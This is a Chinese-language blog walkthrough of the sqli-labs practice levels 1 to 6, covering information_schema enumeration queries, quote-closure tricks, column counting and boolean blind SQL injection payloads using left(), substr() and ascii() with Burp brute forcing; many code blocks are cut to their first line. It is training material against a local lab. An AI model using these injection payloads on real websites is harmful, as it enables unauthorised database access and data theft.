sqli-labs wp
sqli-labs wp
四个主要操作
查库
information_schema.schemata:存储所有数据库的名称
1 | select schema_name from information_schema.schemata; |
查表
information_schema.tables:存储所有表的名称
1 | select table_name from information_schema.tables where table_schema='security'; |
查列
information_schema.columns:存储所有字段名
1 | select column_name from information_schema.columns where table_name='users'; |
- 查字段
1 | select username,password from security.users; |
常用命令
1 | system_user(); -- 管理员用户 |
- 测试
1 | select system_user(); |
Less-1 GET - Error based - Single quotes - String
1 | -- 查看是否有注入 |
Less-2 GET - Error based - Integer based
与Less-1的解题步骤相同,不同的是不需要使用单引号进行闭合
1 | -- 查字段语句 |
Less-3 GET - Error based - Single quotes with twist - String
与Less-1的解题步骤相同,不同的是闭合符号是('')
1 | http://localhost/sqli-labs-master/Less-3/?id=1' |
- 第一步闭合单引号,根据报错信息
''1'') LIMIT 0,1'
,先把最外面一层单引号去掉'1'') LIMIT 0,1
,可以知道还有一个)
,没有闭合,所以知道闭合符号是('')
1 | -- 查字段语句 |
Less-4 GET - Error based - Double Quotes - String
与Less-1的解题步骤相同,不同的说闭合符号是("")
1 | -- 查字段语句 |
补充基础知识
left()函数: left(a,b) ——从左侧截取a的前b位
1
2
3
4
5
6select left(database(),1);
+--------------------+
| left(database(),1) |
+--------------------+
| s |
+--------------------+regexp()函数: regexp ‘a’ ——正则表达式
1
2
3
4
5
6
7
8
9
10
11
12
13select database() regexp 's';
+-----------------------+
| database() regexp 's' |
+-----------------------+
| 1 |
+-----------------------+
select database() regexp 'l';
+-----------------------+
| database() regexp 'l' |
+-----------------------+
| 0 |
+-----------------------+like函数:like ‘se%’ ——与正则表达式匹配相似
1
2
3
4
5
6select database() like 'se%';
+-----------------------+
| database() like 'se%' |
+-----------------------+
| 1 |
+-----------------------+substr()函数:substr(a,b,c) ——从位置b开始,截取a字符串c位长度
1
2
3
4
5
6select substr((select database()),1,5);
+---------------------------------+
| substr((select database()),1,5) |
+---------------------------------+
| secur |
+---------------------------------+ascii():ascii(‘aaa’) ——将某个字符串转化为ascii值(只有第一位会转化)
1
2
3
4
5
6select ascii('security');
+-------------------+
| ascii('security') |
+-------------------+
| 115 |
+-------------------+chr(数字) / ord(‘字母’) ——使用python中的两个函数可以判断当前的ascii值是多少
Less-5 - Double injection - Single Quotes - String(布尔盲注)
布尔盲注只能根据有无回显判断注入是否成功
1、查看有多少列
1 | SELECT * FROM users WHERE id='1' order by 3 -- ' LIMIT 0,1 |
2、爆库
- 方法一
1 | SELECT * FROM users WHERE id='1' and left((select database()),2)='a'-- ' LIMIT 0,1 |
使用burp爆破,将a位置设置为变量,暴力破解
长度不一样说明爆破成功,后面一直尝试到所有字符成功,即为security
- 方法二
1 | SELECT * FROM users WHERE id='1' and ascii(substr((select database()),1,1))=115-- ' LIMIT 0,1 |
通过判断所查询第一个字符的ascii值进行判断,可以采用二分法的思想
3、爆表
1 | SELECT * FROM users WHERE id='1' and left((select table_name from information_schema.tables where table_schema='security' limit 0,1),2)='a'-- ' LIMIT 0,1 |
4、爆列
5、爆字段
总而言之,还是用脚本做会更方便,但是目前不会写脚本,只能用burp慢慢试
Less-6 - Double - injection - Double Quotes - String
与Less-5解题步骤相同,不同的是闭合符号为""
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 zishuQ's blog!